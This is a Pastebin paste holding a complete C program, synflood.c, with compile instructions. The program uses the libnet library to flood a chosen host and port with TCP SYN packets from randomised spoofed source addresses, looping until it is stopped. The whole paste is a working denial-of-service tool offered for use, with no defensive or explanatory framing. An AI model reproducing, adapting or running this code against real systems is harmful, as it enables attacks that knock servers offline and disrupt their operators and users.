Advertisement
Phr0zen_Penguin

synflood.c - SYN Flood Attack (Using libnet)

Aug 1st, 2015
1,479
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.57 KB | None | 0 0
  1. /**
  2.  * [synflood.c]
  3.  *
  4.  * SYN flood attack.
  5.  *
  6.  * NOTE:
  7.  * The program requires libnet version 1.0.2a.  Version 1.1 is not compatible.
  8.  *
  9.  * Compile with:
  10.  * gcc $(libnet-config --defines) -o synflood synflood.c -lnet
  11.  */
  12. #include <stdio.h>
  13. #include <libnet.h>
  14.  
  15. #define FLOOD_DELAY     5000                                            /* Delay between packet injects by 5000ms. */
  16.  
  17.  
  18. /**
  19.  * The print_ip() function:
  20.  *
  21.  * It returns an IP x.x.x.x notation.
  22.  */
  23. char *print_ip(u_long *ip_addr_ptr)
  24. {
  25.     return inet_ntoa(*((struct in_addr *)ip_addr_ptr));
  26. }
  27.  
  28.  
  29. /**
  30.  * The main() function:
  31.  */
  32. int main(int argc, char *argv[])
  33. {
  34.     u_long  dest_ip;
  35.     u_short dest_port;
  36.     u_char  errBuf[LIBNET_ERRBUF_SIZE];
  37.     u_char  *packet;
  38.     int     opt;
  39.     int     network;
  40.     int     byte_count;
  41.     int     packet_size = LIBNET_IP_H + LIBNET_TCP_H;
  42.  
  43.         if(argc < 3)
  44.         {
  45.             printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);
  46.             exit(1);
  47.         }
  48.  
  49.     dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);             /* The host. */
  50.     dest_port = (u_short)atoi(argv[2]);                                 /* The port. */
  51.  
  52.  
  53.     network = libnet_open_raw_sock(IPPROTO_RAW);                        /* Open network interface. */
  54.  
  55.         if(network == -1)
  56.             libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n");
  57.  
  58.  
  59.     libnet_init_packet(packet_size, &packet);                           /* Allocate memory for packet. */
  60.  
  61.         if(packet == NULL)
  62.             libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
  63.  
  64.  
  65.     libnet_seed_prand();                                                /* Seed the random number generator. */
  66.  
  67.  
  68.     printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
  69.  
  70.         while(1)                                                        /* Loop forever (until break or CTRL-C). */
  71.         {
  72.             libnet_build_ip(
  73.                 LIBNET_TCP_H,                       /* Size of the packet sans IP header.   */
  74.                 IPTOS_LOWDELAY,                     /* IP tos.                              */
  75.                 libnet_get_prand(LIBNET_PRu16),     /* IP ID (randomized).                  */
  76.                 0,                                  /* Frag stuff.                          */
  77.                 libnet_get_prand(LIBNET_PR8),       /* TTL (randomized).                    */
  78.                 IPPROTO_TCP,                        /* Transport protocol.                  */
  79.                 libnet_get_prand(LIBNET_PRu32),     /* Source IP (randomized).              */
  80.                 dest_ip,                            /* Destination IP.                      */
  81.                 NULL,                               /* Payload (none).                      */
  82.                 0,                                  /* Payload length.                      */
  83.                 packet                              /* Packet header memory.                */
  84.             );
  85.  
  86.             libnet_build_tcp(
  87.                 libnet_get_prand(LIBNET_PRu16),     /* Source TCP port (random).            */
  88.                 dest_port,                          /* Destination TCP port.                */
  89.                 libnet_get_prand(LIBNET_PRu32),     /* Sequence number (randomized).        */
  90.                 libnet_get_prand(LIBNET_PRu32),     /* Acknowledgement number (randomized). */
  91.                 TH_SYN,                             /* Control flags (SYN flag set only).   */
  92.                 libnet_get_prand(LIBNET_PRu16),     /* Window size (randomized).            */
  93.                 0,                                  /* Urgent pointer.                      */
  94.                 NULL,                               /* Payload (none).                      */
  95.                 0,                                  /* Payload length.                      */
  96.                 packet + LIBNET_IP_H                /* Packet header memory.                */
  97.             );
  98.  
  99.                 if(libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
  100.                     libnet_error(LIBNET_ERR_FATAL, "can't compute checksum.\n");
  101.  
  102.  
  103.             byte_count = libnet_write_ip(network, packet, packet_size); /* Inject packet. */
  104.  
  105.                 if(byte_count < packet_size)
  106.                     libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size);
  107.  
  108.  
  109.             usleep(FLOOD_DELAY);                                        /* Wait for FLOOD_DELAY milliseconds. */
  110.         }
  111.  
  112.  
  113.     libnet_destroy_packet(&packet);                                     /* Free packet memory. */
  114.  
  115.         if(libnet_close_raw_sock(network) == -1)                        /* Close the network interface. */
  116.             libnet_error(LIBNET_ERR_WARNING, "can't close network inteface.");
  117.  
  118.     return 0;
  119. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement